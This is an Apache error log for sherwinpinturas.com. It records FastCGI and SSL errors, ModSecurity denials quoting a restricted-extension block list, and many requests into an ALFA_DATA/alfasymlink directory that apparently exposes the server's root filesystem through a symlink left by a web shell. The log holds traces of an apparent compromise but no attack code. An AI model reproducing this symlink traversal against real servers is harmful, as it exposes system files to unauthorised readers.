[Sat Oct 24 23:21:08.578638 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:08.949092 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:09.320358 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:09.690590 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:10.058030 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:10.331982 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 34.199.252.22:55655] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:10.425198 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:10.792164 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:11.162434 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:13.294292 2026] [security2:error] [pid 2748410:tid 2748410] [client 185.191.171.5:39440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/npm.cmd"] [unique_id "at11qe7kCJBKGQAqJL0X8QAAAAE"]
[Sat Oct 24 23:21:13.294723 2026] [security2:error] [pid 2748410:tid 2748410] [client 185.191.171.5:39440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/npm.cmd"] [unique_id "at11qe7kCJBKGQAqJL0X8QAAAAE"]
[Sat Oct 24 23:21:13.295215 2026] [security2:error] [pid 2748410:tid 2748410] [client 185.191.171.5:39440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/corepack/shims/npm.cmd"] [unique_id "at11qe7kCJBKGQAqJL0X8QAAAAE"]
[Sat Oct 24 23:21:13.810559 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:14.177475 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:16.420274 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:16.787374 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:17.156641 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:17.534743 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:17.914789 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:18.288225 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:18.657569 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:19.586867 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:19.951007 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:20.314709 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:20.677723 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:21.040516 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:22.132458 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:22.189952 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 54.87.95.7:2515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:22.496227 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:22.861152 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:23.223940 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:23.588725 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:23.951403 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:24.313888 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:24.676560 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:25.053332 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:25.417621 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:26.142614 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:26.868745 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:27.233931 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:27.612922 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:28.341074 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:28.707506 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:29.070584 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:29.433252 2026] [proxy_fcgi:error] [pid 2749138:tid 2749138] [client 20.194.17.163:47809] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:34.183273 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 52.0.105.244:8016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:42.204185 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.71.203.206:31899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:54.455329 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 98.84.131.195:10263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:10.197599 2026] [ssl:error] [pid 2749138:tid 2749138] (5)Input/output error: [client 50.16.248.61:60818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:14.213446 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 54.83.23.103:8628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:16.419927 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 85.208.96.197:52242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/free_calls
[Sat Oct 24 23:22:30.327394 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.197.114.76:36347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:34.133356 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.11:47552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/objects
[Sat Oct 24 23:22:34.199773 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 23.21.228.180:44809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:42.197768 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 52.6.232.201:7119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:50.189511 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.196.6.199:47976] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:22:51.585263 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 185.191.171.10:27874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/object_size
[Sat Oct 24 23:23:02.334222 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 52.200.251.20:13953] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/firmware_node/eject
[Sat Oct 24 23:23:14.266888 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.215.112.101:23209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:23:30.233279 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 23.21.228.180:50722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:23:42.224954 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 35.173.18.61:44274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:23:46.997489 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 54.86.59.155:59634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource3
[Sat Oct 24 23:23:54.223745 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 3.229.2.217:4888] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:23:56.862103 2026] [security2:error] [pid 2749158:tid 2749158] [client 185.191.171.16:26688] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/xfs_spaceman"] [unique_id "at12TPAfy9bYoq3HUbAcAgAAAAY"]
[Sat Oct 24 23:23:56.862141 2026] [security2:error] [pid 2749158:tid 2749158] [client 185.191.171.16:26688] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/xfs_spaceman"] [unique_id "at12TPAfy9bYoq3HUbAcAgAAAAY"]
[Sat Oct 24 23:24:00.349709 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.12:61332] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/PMacToonie.conf"] [unique_id "at12UDBA89jTW6EoHYFxzQAAAAM"]
[Sat Oct 24 23:24:00.350251 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.12:61332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/PMacToonie.conf"] [unique_id "at12UDBA89jTW6EoHYFxzQAAAAM"]
[Sat Oct 24 23:24:00.350785 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.12:61332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/PMacToonie.conf"] [unique_id "at12UDBA89jTW6EoHYFxzQAAAAM"]
[Sat Oct 24 23:24:06.354573 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 18.232.11.247:21294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:24:09.437009 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 85.208.96.207:32036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/hwcache_align
[Sat Oct 24 23:24:10.202498 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.215.61.66:65105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:24:38.211707 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 98.83.8.142:34870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:24:43.259474 2026] [security2:error] [pid 2749158:tid 2749158] [client 185.191.171.16:12642] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8788.conf"] [unique_id "at12e_Afy9bYoq3HUbAcBAAAAAY"]
[Sat Oct 24 23:24:43.259843 2026] [security2:error] [pid 2749158:tid 2749158] [client 185.191.171.16:12642] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8788.conf"] [unique_id "at12e_Afy9bYoq3HUbAcBAAAAAY"]
[Sat Oct 24 23:24:43.260266 2026] [security2:error] [pid 2749158:tid 2749158] [client 185.191.171.16:12642] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/CMI8788.conf"] [unique_id "at12e_Afy9bYoq3HUbAcBAAAAAY"]
[Sat Oct 24 23:24:46.207684 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 34.224.132.215:65245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:24:57.941663 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.203:60108] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/SGIGray.cs"] [unique_id "at12iacu9k8aHz4uSmmpkgAAAAU"]
[Sat Oct 24 23:24:57.942052 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.203:60108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/SGIGray.cs"] [unique_id "at12iacu9k8aHz4uSmmpkgAAAAU"]
[Sat Oct 24 23:24:57.942388 2026] [security2:error] [pid 2749138:tid 2749138] [client 85.208.96.203:60108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/SGIGray.cs"] [unique_id "at12iacu9k8aHz4uSmmpkgAAAAU"]
[Sat Oct 24 23:25:06.299872 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 34.193.2.57:37664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory3/subsystem/drivers_probe
[Sat Oct 24 23:25:10.234914 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.21.175.228:28891] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:18.207807 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 18.214.124.6:2344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:22.251985 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 54.92.171.106:51463] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:30.170300 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 85.208.96.195:22218] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:30.277911 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.221.244.28:40636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:34.560735 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 34.196.114.170:48414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/drvctl
[Sat Oct 24 23:25:38.362420 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 54.85.109.140:15901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:46.255595 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.219.80.71:31009] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:25:58.219863 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 107.20.255.194:36189] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/LNXCPU:01/physical_node/crash_notes
[Sat Oct 24 23:26:10.378955 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.54.95.127:39838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:22.255707 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 98.83.72.38:25128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:22.256055 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.83.72.38:25128] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/revision"] [unique_id "at123jBA89jTW6EoHYFx0gAAAAM"]
[Sat Oct 24 23:26:22.256171 2026] [security2:error] [pid 2748406:tid 2748406] [client 98.83.72.38:25128] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/revision"] [unique_id "at123jBA89jTW6EoHYFx0gAAAAM"]
[Sat Oct 24 23:26:30.675743 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 23.22.59.87:45650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:46.236053 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 3.212.205.90:3694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:50.248364 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 3.225.9.97:56620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:54.217905 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.94.157.25:38993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:26:58.374136 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 44.216.172.204:53101] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:27:06.407509 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 44.213.36.21:55192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:27:11.706390 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 85.208.96.199:23800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/zswap_entry/cache_dma
[Sat Oct 24 23:27:19.484575 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.225.243.131:10852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:27:22.363851 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 100.29.160.53:47003] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/shpchp/remove_id
[Sat Oct 24 23:27:34.224228 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 52.3.156.186:64062] AH02013: coalesce failed to read from data bucket
